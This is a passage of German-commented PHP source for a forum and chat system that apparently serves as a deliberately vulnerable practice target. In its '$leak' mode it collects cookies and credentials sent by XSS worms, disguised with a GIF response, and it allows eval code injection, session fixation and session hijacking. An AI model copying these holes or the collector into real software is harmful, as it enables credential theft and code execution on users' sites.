    $out"; } # Datenbank öffnen if($sql and $conn = @$sql['o']($base,0666)) { $sql['cf']($conn,'b64d','base64_decode',1); # Datenbank überprüfen if($wrt and preg_match_all('/(?:^|[,;])\s*(?:\w+\s\w+\s*\[([\w-]+)|\[([\w-]+))\]/ms',$sql[0],$array)) { $val = array(); $sql[0] = ''; $array[1][] = $rw = '-'; foreach($array[1] as $key => $var) { if($var != '') { if($sql[0] != '') { if($result = @$sql['q']($conn,$sql[0]) and count($sql[1]) == $rw = $sql['nf']($result)) { for($a=0; $a < $sql['nf']($result); $a++) if($sql[1][$a] != $rw = $sql['fn']($result,$a)) $val[] = "$var: $rw <> ".$sql[1][$a]; } else $val[] = "$var: $rw != ".count($sql[1])." ".print_r($result,true); } $sql[0] = "select * from [$var] limit 0"; $sql[1] = array(); } else $sql[1][] = $array[2][$key]; } if($val) { // Datenbank ist defekt $debug[] = array($conn,$val,$sql['aq']($conn,"select * from sqlite_master",SQLITE_ASSOC)); $sql['cl']($conn); // @$sql['cl']($conn); // Bug? if($svdb) { // Defekte Datenbank sichern rename($base,$new = preg_replace('/(?=\.\w+$)/',date('_ymdHis'),$base)); if($fr = fopen($new,'rb') and $fw = $gz['open']("$new.gz",'wb')) { // Defekte Datenbank komprimiert sichern while(!feof($fr)) $gz['write']($fw,fread($fr,1024)); fclose($fr); $gz['close']($fw); unlink($new); } } else unlink($base); // Defekte Datenbank nur löschen if(file_exists("$base.gz") and ($fr=$gz['open']("$base.gz",'rb')) and ($fw=fopen($base,'wb'))) { // Letztes Backup zurückspielen while(!gzeof($fr)) fwrite($fw,$gz['read']($fr,1024)); $gz['close']($fr); fclose($fw); @touch($base,filemtime("$base.gz")); } $out = "

    Datenbank ist defekt und wurde gelöscht/zurückgesetzt!

    Weiter zum Forum$out"; $conn = false; } $array = 0; } # Prüfen ob die Datenbank beschreibbar ist $rw = false; if($conn) { if(isset($_COOKIE['write']) and $request == 'write') { setcookie('write',0,time()-$ctl,$self); unset($_COOKIE['write']); } if(!isset($_COOKIE['write'])) for($a=0; $a<3; $a++) { if(@$sql['e']($conn,"update [user] set id = 0 where 0 = 1") and !$sql['le']($conn)) { $rw = true; break; } sleep(1); } if(!$rw) { setcookie('write',1,0,$self); $info[6] = "**++Die Datenbank ist schreibgeschützt! - Daher sind einige Funktionen [[^write^Wieder versuchen die Datenbank zu beschreiben^|deaktiviert]]!++**\n\n"; } } } # Hacker-Code um Daten entgegen zu nehmen if($sql and $conn and $leak and $rw) { $wrt = (preg_match('/^(\d+)\.(\d+)/',phpversion(),$var) and ($var[1].$var[2]) > 51) ? 'UTF-8' : 'ISO-8859-1'; # Daten vom XSS-Worm if(isset($_GET['worm']) and count($_GET) > 1 and $result = $sql['q']($conn,'select * from [worm] where id=0')) { foreach($_GET as $key => $var) $line[preg_replace('/&(\w)uml;/','$1e',$key)] = html_entity_decode($var,ENT_NOQUOTES,$wrt); $row = $sql['nf']($result); for($a=0;$a<$row;$a++) { $key = $sql['fn']($result,$a); if(isset($line[$key])) $data["[$key]"] = "'".$sql['es']($line[$key])."'"; } if(isset($data) and count($data) > 0 and isset($line['Benutzername'])) $sql['e']($conn," replace into [worm] ([create],".implode(",",array_keys($data)).") values (datetime('now','localtime'), ".implode(",",array_values($data)).")"); $uid = true; } # Daten von XSS-Attacken if(isset($_GET['href']) and isset($_GET['data'])) { $data['data'] = $_GET['data']; foreach(array('sess' => session_name(), 'user' => 'user', 'pass' => 'pass') as $key => $var) if(preg_match('/'.preg_quote($var,'/').'=([^\s;]*)\s*;?\s*/i',$data['data'],$val)) { $data[$key] = html_entity_decode($val[1],ENT_NOQUOTES,$wrt); $data['data'] = str_replace($val[0],'',$data['data']); } foreach($data as $key => $var) { $data["[$key]"] = "nullif('".$sql['es']($var)."','')"; unset($data[$key]); } $sql['e']($conn," insert into [xss] ([create],[ip],[href],".implode(',',array_keys($data)).",[useragent]) values (datetime('now','localtime'), '$addr', '".$sql['es']($_GET['href'])."',".implode(",",$data).", nullif('".$sql['es'](@$_GET['useragent'])."',''))"); $uid = true; } if($uid) // Zur Tarnung eine Grafik zurückgeben if($img) { header('Content-Type: image/gif'); die(substr($gz['inflate'](base64_decode($img[1])),0,$img[0])); } else exit; } # Smilie Link-Tabelle erstellen if($img and $img = array_keys($img)) { foreach($img as $key => $var) if(preg_match('/(.+)-(.+)/',$var,$val)) $smile[$key+2] = "(".((strlen($val[1]) == 1) ? preg_quote($val[1]) : "[".preg_quote($val[1])."]") ."-?".((strlen($val[2]) == 1) ? preg_quote($val[2]) : "[".preg_quote($val[2])."]")."+)"; if(isset($smile) and is_array($smile) and count($smile)) $smile = array('/(?<=\||\s|^)(~?)('.implode('|',$smile).')(?=<\/?(p|[bh]r|strong|em)[^>]*>|\s|$)/e' => "('$1' == '~') ? '$2' : ''"); } else $smile = array(); $a = -1; // Creole-Parser um Smilies und Variabeln erweitern foreach($creole as $key => $var) if(++$a and $key == '/^$/') { $creole = array_merge(array_slice($creole,0,$a),$smile,array( '/([\[\{]?)::([l.])(?=[(\/?# |\])])/e' => '"$1".(("$1" == "") ? "" : (("$2" == ".") ? "%home%" : "%self%")).(("$2" == ".") ? preg_replace("/\/[^\/]*$/","",$self) : $self)', '/::L(?=[\/?#()\w!&,. -]+)/' => $Self, '/::H(?=[\/?#()\w!&,.: -]+)/' => preg_replace('/(?<=\w)\/(?=\w|$).*$/','',$Self), '/(~?)(::([pPb]))(?=[\/?#()\w!&,.: -]+)/e' => '!"$1" && array($a = ("$3" == "b") ? "basename" : "preg_replace", $b = ("$3" == "b") ? array() : array("![^/]*$!",""), $b[] = ("$3" == "P") ? $Self : $self) ? call_user_func_array($a,$b) : "$2"', '/(.?)::(f)\/(?=[\w!&,.-]+)/ei' => "'$1'.(('\$1' == '[') ? '%file%' : '').(('\$2' == 'F') ? '$Self' : '$self').'/file?'", '/(.)~\/(?=[\w!&,.-]+)/ei' => "'$1'.(('\$1' == '[') ? '^Profil/)' : '')", '/(.?)::(w)(?=\/)/ei' => '"$1".(("$1" == "[") ? "%wipe%" : "").(("$2" == "w") ? $wiki : str_replace("de","en",$wiki))', '/(~?)(?:\$|$)\[(\w+)\]/e' => '("$1") ? "$[$2]" : ((isset($creolevar["$2"])) ? $creolevar["$2"] : "")'),$creole,array_merge(array( '/(?])\r?\n(?!|$)/e' => '(isset($creolevar["type"]) and $creolevar["type"] != "cms") ? "
    \r" : " "', '/(?)\s*\s*(?!<\/p>)/' => ''),(($leak) ? array( '/(\$|$){2}(.+)\1{2}/e' => '(($x = array(1 => "$2", '."2 => '$2',". /* Debuging preg-replace/eval */ << "$2", 4 => '$2', eof .')) ? "" : "") .eval("\\\$x[5] = \'$2\';") .eval("\\\$x[6] = \"$2\";") .eval(\'$x[7] = "$2";\')'." .eval(\"\\\\\$x[8] = '$2';\") .eval('\$x[9] = \'$2\';') .eval('\$x[10] =\"$2\";')".<<Code-Injection: ".print_r($debug[] = $x,true).""') : array()))); break; } if($img) { // Grafiken für Logo und Icon festlegen $logo = ($logo) ? $logo : "$self/img?".(count($img)-3); $icon = ($icon) ? $icon : "$self/img?".(count($img)-2); } # Mit Creole ausgesuchte HTML-Zeichen übergeben if(preg_match_all('/(\w+),([#\w]+)/','et,amp;dq,quot;sz,szlig;nb,nbsp;lt,lt;gt,gt;sq,#39;ds,#36,lf,#10',$val)) foreach($val[2] as $key => $var) $creolevar["_".$val[1][$key]] = "&$var;"; foreach(explode(',','a,o,u,A,O,U') as $var) $creolevar["_{$var}e"] = "&{$var}uml;"; # Datenbank bei fehler deaktivieren if(!$sql or !$conn or !$craw and preg_match('/(bots?|crawler|yandex)(?=\W|$)/i',$_SERVER['HTTP_USER_AGENT']) and $out = "

    No Bots allowed!

    ") { if($sql !== 0) header('HTTP/1.0 503 Service Unavailable'); if(!$out) $out = "

    Datenbank kann nicht geöffnet werden!

    "; $sql = false; } else { # Variablen mit Datenbank setzen if(!$mid and $path and preg_match('!/?(Blog|Profil)/([\w.-]+)$!i',$path,$var)) { $mid = $sql['sq']($conn,"select id from [user] where username like '$var[2]'"); if($request == 'Blog') $getopt[] = "id=$mid"; } if(!$lone = $sql['sq']($conn,"select count(*) from [user]")) { $info[3] = "**Der [[^Anmelden|erste Benutzer]] des Forums bekommt automatisch Admin-Rechte!**\r\n"; $user = true; if(!$request and !$query or $request == 'Mitglieder') $request = 'Anmelden'; } elseif($lone > 1) $lone = false; $getopt = (isset($getopt)) ? implode("&",$getopt) : ''; // Suchoptionen als url festlegen # Sitemap ausgeben if($craw and $request == 'sitemap.xml' and $array = $sql['aq']($conn," select name, -- CMS strftime('%Y-%m-%d',change) as date from [cms] where status/8%2 = 1 and status/2%4 = 0 and content like '%\n%' union select 'Profil/'||username as name, -- User-Profil strftime('%Y-%m-%d',change) as date from [user] where status is not null and profil is not null union select 'Blog/'||u.username||'?q='||f.id as name, -- User-Blog strftime('%Y-%m-%d',f.change) as date from [forum] as f left join [user] as u on u.id = f.userid where f.userid = f.mailid and f.status%2 = 0 and u.status is not null order by date desc",SQLITE_ASSOC)) { foreach($array as $key => $var) $array[$key] = "$Self/$var[name]$var[date]"; header('Content-Type: text/xml'); die("\n" ."\n".implode("\n",$array)."\n"); } # Mit Ajax Daten für ein Benutzer zurückgeben if(isset($_GET['salt']) and preg_match('/[@\w.-]+/',$_GET['salt'],$var)) // Salt die((preg_match('/^([\w.-]+),salt:(\w+)-hash:\w+$/',$sql['sq']($conn,"select username||','||password from [user] where username like '$var[0]' or mail like '$var[0]'"),$val)) ? "$val[1]:$val[2]" : false); elseif(isset($_GET['ask']) and preg_match('/([@\w.-]+)(?::([\w@.-]+))?/',$_GET['ask'],$var)) // ask die((preg_match('/^(\d+)-(?:(.+?):)?/',$sql['sq']($conn,"select passhelp from [user] where username like '$var[1]'".(($leak) ? "" : " and mail like '".((isset($var[2])) ? $var[2] : '')."'")),$val)) ? (($val[1]) ? "$val[1]-{$pass[$val[1]]}" : "$val[1]-$val[2]") : false); # Alternativer Hash-Login if(count($_POST) == 0 and (isset($_GET['id']) and preg_match('/^(\d+)\.(\w+)$/',$_GET['id'],$var) or isset($_SERVER['HTTP_REFERER']) and preg_match('/id=(\d+)\.(\w+)/',$_SERVER['HTTP_REFERER'],$var)) and $row = $sql['sq']($conn,"select username||':'||password from [user] where status is not null and id=$var[1]") and $hash[0]($row) == $var[2]) { $status = 1; $uid = $var[1]; $row = $var[0]; } # Feeds ausgeben if($request == 'Atom' and ($inet or !$inet and $uid)) { if($id and $uid and $row) $uid = $id; $array = $sql['aq']($conn," select f.id as id, f.id as name, f.[create] as 'create', f.[create] as change, path, ifnull(title,'Ohne Titel') as title, mailid, message, ifnull(f.status%2,'-1') as right, ifnull(u.username,'Unbekannt') as author, ifnull(m.username,'Unbekannt') as tomail from [forum] as f left join user as u on u.id = f.userid left join user as m on m.id = f.mailid where f.status is not null and ".(($mid) ? "f.mailid = f.userid and f.userid = $mid".(($uid) ? "" : " and f.status%2 = 0") : (($uid) ? "(f.mailid is null or f.mailid = $id or f.mailid is not null and f.userid = $id)" .((isset($_GET['latest']) and $var = $sql['sq']($conn,"select change from [user] where id=$id")) ? " and (f.[create] > datetime('$var') or f.mailid = $id and f.status/2%2 = 0)" : "") : "f.mailid is null and f.status%2 = 0")." union all select id, name, [create] as 'create', change, null as path, ifnull(description,'Ohne Titel') as title, null as mailid, content as message, ifnull(status/2%4,'-1') as right, (select username from user where status/2%2 order by id limit 1) as author, 'Unbekannt' as tomail from [cms] where status/8%2 = 1 and status/2%4 < ".(($uid) ? 3 : 1))." order by 4 desc limit ".max(min(((isset($_GET['max']) and preg_match('/\d+/',$_GET['max'],$var)) ? $var[0] : $paging[1]),$paging[2]),$paging[0]),SQLITE_ASSOC); foreach($array as $key => $var) { $creolevar = array_merge($creolevar,array('type' => 'feed', 'id' => $var['id'], 'name' => $var['name'], 'title' => $var['title'], 'from' => $var['author'], 'right' => $var['right'], 'create' => strtotime($var['create']), 'change' => strtotime($var['change']))); $array[$key] = " ".strtr($var['title'],$html)." (^)" : '') .preg_replace(array_keys($creole),str_replace($self,$Self,array_values($creole)),strtr(preg_replace('/::f\/[\w()!,.-]+/',"\$0&id=$row",$var['message']),array_slice($html,1)))."]]> $var[id].".strtotime($var['create'])." ".date("Y-m-d\TH:i:s",strtotime($var['change'])).preg_replace('/([+-][\d]{2})([\d]{2})/','$1:$2',date("O",strtotime($var['change'])))." ".strtr($var['author'],$html)."$Self/Profil/".strtr($var['author'],$html)."".(($var['mailid'] and $var['author'] != $var['tomail']) ? " ".strtr($var['tomail'],$html)."$Self/Profil/".strtr($var['tomail'],$html)."" : "")."\n\n"; } $cleanup = array_merge($creoleph['toutf'],array('/[\x00-\x1f]+/' => '')); header('content-type: text/xml; charset=UTF-8'); die(" $title ".preg_replace('/^.+?([^<]+).*$/s','$1',reset($array))." PHP/".phpversion()." $logo\n".preg_replace(array_keys($cleanup),array_values($cleanup),implode('',$array))."\n"); } # Session starten if($leak and isset($_GET[session_name()])) session_id($_GET[session_name()]); @session_start(); if(isset($_SESSION['uid']) and $_SESSION['uid']) { $uid = $_SESSION['uid']; $status = $sql['sq']($conn,"select status from [user] where id=$uid"); } else $_SESSION['src'] = (!isset($_COOKIE['login']) and isset($_SESSION['src'])) ? $_SESSION['src'] + 1 : 0; # Sessiondaten manipolieren if($leak and $request == 'set' and preg_match(substr($dpsk,0,-2).'=([\w\s:-]*)$/',urldecode($query),$var)) if($var[2]) $_SESSION[$var[1]] = $var[2]; else unset($_SESSION[$var[1]]); # Cookie-Login if(isset($_COOKIE['login']) and preg_match('/^(\d+)\.(\w+)$/',$_COOKIE['login'],$var) and $val = $sql['aq']($conn," select username||':'||password as hash,status,change from [user] where status is not null and id = $var[1]") and $hash[0]($val[0]['hash']) == $var[2]) { $row = array('set' => "status=(status/2%8*2+1),", 'where' => "(status%2 = 0 or datetime(change,'+$eos minutes') < datetime('now','localtime')) and "); $uid = $var[1]; if(!isset($_SESSION['uid'])) { $_SESSION['uid'] = $uid; $_SESSION['lua'] = $val[0]['change']; setcookie('login',"$uid.".$hash[0]($val[0]['hash']),time()+$ctl,$self); } $status = floor($val[0]['status']/2)*2+1; } # uid in der Datenbank und angemeldet? - Sonst automatisch abmelden if($uid and isset($_SESSION['uid'])) { if($sql['sq']($conn," select id from [user] where id=$uid".(($leak) ? "" /* Session-Klau ermöglichen */ : " and useragent='".$sql['es']($_SERVER['HTTP_USER_AGENT'])."'")." and status%2=1") == $uid) { $sql['e']($conn," update [user] set change=datetime('now','localtime'), requests=requests+1 where id=$uid and status=(status/2%8*2+1)"); $un = $sql['sq']($conn,"select username from [user] where id = $uid"); } else { $sql['e']($conn," update [user] set status=(status/2%8*2) where id=$uid"); foreach($_SESSION as $key => $var) unset($_SESSION[$key]); setcookie(session_name(),'',time()-$ctl,'/'); $status = 0; $uid = false; } } # Loginbestätigung für Atom-Feeds & Cookie-Login if($rw and $uid and $row) $sql['e']($conn," update [user] set ".((is_array($row) and isset($row['set'])) ? $row['set'] : '')." logins=logins+1, requests=requests+1, change=datetime('now','localtime'), ip='$addr', useragent='".$sql['es']($_SERVER['HTTP_USER_AGENT'])."' where ".((is_array($row) and isset($row['where'])) ? $row['where'] : '')."status is not null and id=$uid"); # Datei-Download if($request == 'file' and ( preg_match('/^(\d+)(?:-([\w!,.-]+))?/',$query,$var) or ($var[1] = $mid) and $var[2] = $query)) if($file = $sql['aq']($conn," select c.id as id, a.name as name, ifnull(ifnull(a.type,b.type),'application/octet-stream') as type, ifnull(a.size,b.size) as size, ifnull(a.data,b.data) as data, strftime('%s',ifnull(a.[create],b.[create])) as time from [file] as a left join [file] as b on a.link = b.id left join [user] as u on a.user = u.id left join [file] as c on a.id = c.id".(($status/2%2) ? "" : " and (c.status%2 = 1 or c.status%2 = 0 and '$uid' != '')")." where ".((!@$var[2]) ? (($status/2%2) ? "" : "a.user = ".(int)$uid." and ")."a.id = ".(int)$var[1] : "a.user = ".@(int)$var[1]." and a.name like '".@$sql['es']($var[2])."'")." order by a.id desc, a.name limit 1",SQLITE_ASSOC)) if($file[0]['id']) { if($cache) { $time = $file[0]['time']; $date = gmdate("D, d M Y H:i:s",$time)." GMT"; header("Cache-Control: public"); header("Etag: $time"); if(($val=(function_exists("apache_request_headers")) ? apache_request_headers() : array()) and isset($val["If-None-Match"]) and isset($val["If-Modified-Since"]) and $val["If-None-Match"] == $time and $val["If-Modified-Since"] == $date or isset($_SERVER["HTTP_IF_NONE_MATCH"]) and isset($_SERVER["HTTP_IF_MODIFIED_SINCE"]) and $_SERVER["HTTP_IF_NONE_MATCH"] == $time and @$_SERVER["HTTP_IF_MODIFIED_SINCE"] == $date) { header("HTTP/1.1 304 Not Modified"); exit(); } header("Pragma: public"); header("Last-Modified: $date"); header("Cache-Control: public, max-age=".($eos*60)); } header("Content-Type: ".$file[0]['type']); header("Content-Length: ".abs($file[0]['size'])); header('Content-Disposition: filename="'.$file[0]['name'].'"'); die((($var = base64_decode($file[0]['data']) and $file[0]['size'] > 0) ? $var : $gz['inflate']($var))); } else { header('HTTP/1.0 401 Unauthorized'); die("

    Datei benötigt Benutzeranmeldung!

    "); } else { header('HTTP/1.0 404 File Not Found'); die("

    Datei nicht gefunden!

    "); } # Forum bei Externen-Adressen ohne Ameldung deaktivieren if(!$inet and !$uid and !$local) $request = 'Impressum'; # Statischen/Dynamischen Content bereitstellen/ausgeben if($content = (isset($content[$request])) ? $content = $content[$request] : (($request and !isset($_REQUEST['nocms']) or !count($_GET) and !count($_POST)) ? $sql['aq']($conn," select ifnull(r.content,ifnull(c.content,'')) as '.content', strftime('%s',ifnull(r.change,c.change)) as change, strftime('%s',ifnull(r.[create],c.[create])) as 'create', ifnull(r.id,c.id) as id, ifnull(r.name,c.name) as name, ifnull(r.description,c.description) as title, ifnull(ifnull(r.status,c.status)/2%4,'-1') as right, (select username from user where status/2%2 = 1) as 'from', 'cms' as type from [cms] as c left join [cms] as r on r.name like c.content where c.name like '".preg_replace('/^(Abmelden)$/','',$request)."' and c.status/2%4 <= ".($status/2%2 + $status%2*2),SQLITE_ASSOC) : false)) { if(is_array($content) and $var = reset($content)) { header('Last-Modified: '.date('r',$var['change'])); $head['cms'] = ""; if($var['right'] == 2 or $status/2%2) $uedit = "CMS?id=$var[id]"; $creolevar = array_merge($creolevar,$var); $content = $var['.content']; } if(preg_match('!^(https?://|/|\.|#|::(?=l\/))[^<\s\'>]+$!',$content,$var)) { // Linkweiterleitung if($var[1] == '::') $content = strtr($content,array('::l' => $self, '::L' => $Self)); header("Location: $content"); die("$content <body><script type='text/javascript'><!-- top.location.href='$content';//--></script><noscript><a href='$content'>$content</a></noscript></body>"); } if($content) $out .= "
    ".@preg_replace(array_keys($creole),array_values($creole),(($leak) ? $content : strtr($content,array_slice($html,1))))."
    "; $request .= " "; } # Datenbank beschreibbar if($rw) { # Pre-Chatline: Abmelden wenn Interaktionslose Zeit abgelaufen & Aufräumen $sql['e']($conn," update [user] set status = (status/2%8*2), -- Autologoff chat = null where status = (status/2%8*2+1) and datetime(change,'+$eos minutes') < datetime('now','localtime') and status is not null; update user set [chat] = null -- Aufraeumen where id = ( select a.id from [user] as a left join [user] as b on a.chat = b.id".(($leak) ? "" : " and b.status > 0")." -- Chatpartner noch Online (Moeglicher Fehler: > 0) where a.status is not null and a.chat > 0 and b.chat is null -- Chatter nicht gesperrt und noch Online (Moeglicher Fehler: > 0) limit 1); -- und Chatpartner nicht im Chat delete from [chat] where chat = (select a.chat -- chatkanal from [chat] as a left join [user] as b on a.chat = b.chat -- Teilnehmer des Chatkanals or a.chat <= 0 and a.user = b.id and status%2 = 1 -- Teilnehmer ist online or abs(a.chat) = b.id and a.chat != b.id and (b.chat is null and status%2 = 1 or b.chat = b.id) where b.id is null -- Keins der Bedingungen trifft zu! group by a.chat limit 1)"); # Chatline if($request == 'Chat' and !$lone and $uid and $status%2) { $wait = false; foreach($array = array( // Browser-Cache komplett abschalten 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0') as $key => $var) { header("$key: $var"); $head[] = ""; } if(isset($_REQUEST['chat']) and preg_match('/^(auth|call|edit|news|quit|send|sign|user|html)(?::(.*))?$/',$_REQUEST['chat'],$chat)) { #html if($chat[1] == 'html') { // Chatline ohne JavaScript $wait = (isset($_REQUEST['wait']) and preg_match('/^\d{1,3}$/',$_REQUEST['wait'],$var) and $var[0] >= 30) ? $var[0] : 30; if($status/8%2) // Verschlüsselung abschalten $sql['e']($conn,"update user set status = status%8 where id = $uid"); if(isset($_REQUEST['edit']) and preg_match('/^[01]$/',$_REQUEST['edit'],$var) and $var[0] != $status/4%2) // edit $chat = array(0,'edit',$var[0]); elseif(isset($_REQUEST['call']) and isset($_REQUEST['user']) and isset($_REQUEST['line']) and preg_match('/^\d+,.*$/',"$_REQUEST[user],$_REQUEST[line]",$var)) // call $chat = array(0,'call',$var[0]); elseif(isset($_REQUEST['quit'])) // quit $chat[1] = 'quit'; elseif((isset($_REQUEST['send']) or isset($_REQUEST['doit'])) and isset($_REQUEST['line']) and $_REQUEST['line'] != '') // send $chat = array(0,'send',$_REQUEST['line']); elseif($var = $sql['aq']($conn,"select user,text from [chat] where chat = -$uid limit 1")) // auth $chat = array(0,'auth',(($status/4%2 and !preg_match('/^key:\w+:/',$var[0]['text'])) ? '' : '-').$var[0]['user']); } else $out = 0; #user if($chat[1] == 'user') // Userstatus übermitteln $out = implode(",",$sql['sq']($conn, /* id:status,chat,users; ... */ " select u.id||','||ifnull(c.status,u.status) from [user] as u left join [user] as c on u.chat = c.chat where u.status is not null group by u.id")); #edit elseif($chat[1] == 'edit' and @preg_match('/^[013457]$/',$chat[2]) and $sql['e']($conn, /* Eigenen Chatstatus bearbeiten */" update [user] set status = status%4+(($chat[2]%2 + $chat[2]/4%2*2)*4) where id = $uid")) $out = $sql['c']($conn); #auth elseif($chat[1] == 'auth' and preg_match('/^(-?\d+)(?:,(\w+),([=\w\/+]+))?$/',$chat[2],$var) and $sql['e']($conn, /* Chat Erlauben */" update [user] set chat = ".(($var[1] < 0) ? 'null' : 'chat*-1')." where abs(chat) = $uid and id = abs($var[1]);".(($var[1] < 0) ? " delete from [chat] where chat = -$uid and user = abs($var[1])" : " update [user] set chat = id where chat is null and id = $uid; update [chat] set chat = abs(chat) where chat = -$uid and user = abs($var[1])".((count($var) > 3) ? "; insert into [chat] (chat,user,time,text) values ($uid,$var[1],datetime('now','localtime'),'key:$var[2]/$var[3]:')" : "")))) $out = $sql['c']($conn); #send/sign elseif(($chat[1] == 'send' or $chat[1] == 'sign' and $status/2%2) and @preg_match('/^.+$/',$chat[2]) and $sql['e']($conn, /* Nachricht Senden */ " insert into [chat] (chat,user,time,text) values (".(($chat[1] == 'send') ? $sql['sq']($conn,"select chat from [user] where id = $uid") : 0).",$uid,datetime('now','localtime'),'".$sql['es'](preg_replace('/%([\da-f]{2})/ei','chr(hexdec("$1"))',((preg_match('!^[\w+/]+=*$!',$chat[2]) or !$leak) ? strtr($chat[2],$html) : @preg_replace(array_keys($creole),array_values($creole),strtr($chat[2],$html)))))."')")) $out = $sql['c']($conn); #call elseif($chat[1] == 'call' and preg_match('/^(\d+),?(.*)$/',$chat[2],$val) and ($var = $sql['sq']($conn,/* Chat beginnen */" select ifnull(b.chat,a.id) from user as a left join [user] as b on b.chat = a.chat left join ( select d.id, count(d.chat) as chats from user as d left join user as e on d.chat = e.chat group by d.id) as c on c.id = a.id where (b.status%2 and b.status/4%2 or b.id is null and a.status%2 and a.status/4%2 or a.id = b.id and c.chats = 1) and a.id = $val[1] limit 1")) !== false) // Botnet Workaround für Antworten $out = $sql['e']($conn," update [user] set chat = '-".intval($var)."' where chat is null and id = $uid; insert into [chat] (chat,user,time,text) values ('-".intval($var)."',$uid,datetime('now','localtime'),'".$sql['es'](preg_replace('/%([\da-f]{2})/ei','chr(hexdec("$1"))',$val[2]))."');"); #quit elseif($chat[1] == 'quit' and $val = reset(($sql['aq']($conn, /* Chat beenden */ " select a.chat as chat,count(b.id) as users from [user] as a left join [user] as b on a.chat = b.chat where a.id = $uid group by a.id")))) { $sql['e']($conn, /* Offene Chatanfragen löschen */ " delete from [chat] where user = $uid and chat < 0"); if(($val['chat'] and $val['chat'] != $uid or $val['users'] and $val['users'] < 3)) // Nur den Client oder beide beim Privaten Chat $sql['e']($conn," update [user] set chat = null where chat = $val[chat]".(($val['users'] < 3) ? "" : " and id = $uid")); elseif($val['chat'] == $uid and $var = $sql['sq']($conn,"select id from [user] where chat = $val[chat] and id != $uid limit 1")) // Master ersetzen $sql['e']($conn," update [user] set chat = null where id = $uid; update [user] set chat = $var where chat = $val[chat]; update [chat] set chat = $var where chat = $uid"); $out = 1; } #news elseif($chat[1] == 'news' and @preg_match('/\d*/',$chat[2])) { // Aktuelle Chat-Neuigkeiten abfragen $var = $sql['aq']($conn," select count(a.id), -- 0 Anzahl User count(nullif(a.status%2,0)), -- 1 Anzahl der Logins count(nullif(a.status/4%2,0)), -- 2 Anzahl der Chatter count(nullif(a.status/8%2,0)), -- 3 Anzahl der Chatter count(a.chat), -- 4 Anzahl der Chats ifnull(sum(a.chat),0), -- 5 Hash der Chats count(b.id), -- 6 Anzahl der Masters ifnull((select chat from [user] where id = $uid),'-'), -- 7 Eigene Chat-ID ifnull((select id from user where chat != $uid and abs(chat)=$uid limit 1),'-') -- 8 Erste ID von Chatanfrage(n) from [user] as a left join [user] as b on a.id = b.id and b.id = b.chat where a.status is not null",SQLITE_NUM); if($val = intval($var[0][8])) ## 9 Erster Text von Chatanfrage(n) $var[0][] = preg_replace('/[%;]/e','"%".dechex(ord("$0"))',$sql['sq']($conn,"select text from chat where user = $val and chat = -$uid limit 1")); $val = (isset($chat[2])) ? intval($chat[2]) : 0; $wrt = intval($var[0][7]); // Chat-ID $out = implode(',',$var[0]).";"; $var = $sql['sq']($conn,"select ifnull(max(id),'0') from chat where chat = $wrt or chat = '0'"); // 1 Max Chat-Messages $out .= "$var;"; if(isset($chat[2]) and $var > $val and $array = $sql['aq']($conn, /* 2 Anzahl der Messages */ " select user,strftime('%Y%m%d%H%M%S',time) as time,text from [chat] where (".(($wrt) ? "chat = $wrt or " : "")."chat = '0') and id > $val" /* Keine Chatanfragen anzeigen (Hack ermöglichen) */." order by id") and count($array)) { $out .= count($array); foreach($array as $var) $out .= ";$var[user],$var[time],".preg_replace('/[%;]/e','"%".dechex(ord("$0"))',$var['text']); } else $out .= "0;"; } #end if(preg_match('/call|edit|quit|send|sign/',$chat[1])) // User-Lifetime zurücksetzen $sql['e']($conn," update [user] set change = datetime('now','localtime'), requests = requests+1 where id = $uid"); if($wait) { // HTML-Chat ausgeben (NoScript) $out = ''; if($chat = $sql['sq']($conn,"select chat from [user] where id = $uid")) { $array = $sql['aq']($conn," select ifnull(u.username,'Unbekannt') as user,strftime('%d.%m.%Y %H:%M:%S',c.time) as time,c.text as text from [chat] as c left join [user] as u on u.id = c.user where c.chat = $chat order by c.time desc limit 10"); foreach($array as $key => $var) $array[$key] = "

    $var[user] ($var[time])
    ".strtr($var['text'],array_slice($html,1))."

    "; $out = implode("\n",$array); } @header('Content-Type: text/html; charset=utf-8'); $out = "" /* 4.01 Transitional */ ." NoScript Chatline \n".strtr($out,$uml) .((($leak or $status/2%2) and isset($_COOKIE['debug']) and $_COOKIE['debug']) ? "
    ".date('d.m.Y H:i:s') ."
    ".print_r($_REQUEST,true).((isset($debug)) ? print_r($debug,true) : '')."
    " : "").""; } else header('Content-Type: text/plain'); die("$out"); // Ergebnis ausgeben } if(is_array($jschat) and is_array($jschat['crypt'])) { // Verschlüsselten Chat vorbereiten foreach($jschat['crypt'] as $key => $var) $head["chat.$key"] = ""; $a = "['$jschat[prime]','".(($jschat['main']) ? $jschat['main'] : substr(strrev(str_rot13($jschat['prime'])),1))."',$jschat[base]]"; } else $a = 'false'; $rows = $sql['aq']($conn, /* Chat-GUI Erstellen */ " select id,username from [user] where status is not null order by username"); foreach($rows as $key => $var) $rows[$key] = ""; $val = array(0 => 'Ablehnen', 1 => 'Erlauben', 3 => 'Zeigen'); foreach($val as $key => $var) $val[$key] = ""; $var = "
    ".((isset($_GET['nojs'])) ? "Chatline" : "Chatline")."
    Chat mit   Refresh:   Sek.  Chatanfragen: " .implode("\n",$val)."
    "; $out .= (isset($_GET['nojs'])) ? preg_replace("!|]*>.*|\son(submit|click|change)='.*?'!s",'',$var) : $var; } elseif(isset($_REQUEST['chat'])) { // Gästen ermöglichen Admin-Messages zu Empfangen $out = "0"; if(preg_match('/^(news)(?::(.+))?$/',$_REQUEST['chat'],$chat) and ($var = $sql['sq']($conn,"select ifnull(max(id),'0') from chat where chat = 0")) > ($val = intval($chat[2]))) { $out .= ";$var;"; if($var > $val and $array = $sql['aq']($conn, /* 2 Anzahl der Messages */ " select user,strftime('%Y%m%d%H%M%S',time) as time,text from [chat] where chat = '0' and id > $val" /* Keine Chatanfragen anzeigen (Hack ermöglichen) */." order by id") and count($array)) { $out .= count($array); foreach($array as $var) $out .= ";$var[user],$var[time],".preg_replace('/[%;]/e','"%".dechex(ord("$0"))',$var['text']); } } header('Content-Type: text/plain'); die($out); } # Eingaben von Formularen auswerten if(count($_POST) > 0) { if(isset($_COOKIE[session_name()]) and $_COOKIE[session_name()] == session_id()) { // Auf Gültige Session prüfen if(!$leak and isset($_SESSION['flc']) and $_SESSION['flc'] >= $flc) { // Im Sicherheitsmodus Brute-Force erschweren header('HTTP/1.0 403 Forbidden'); die("

    Verboten!

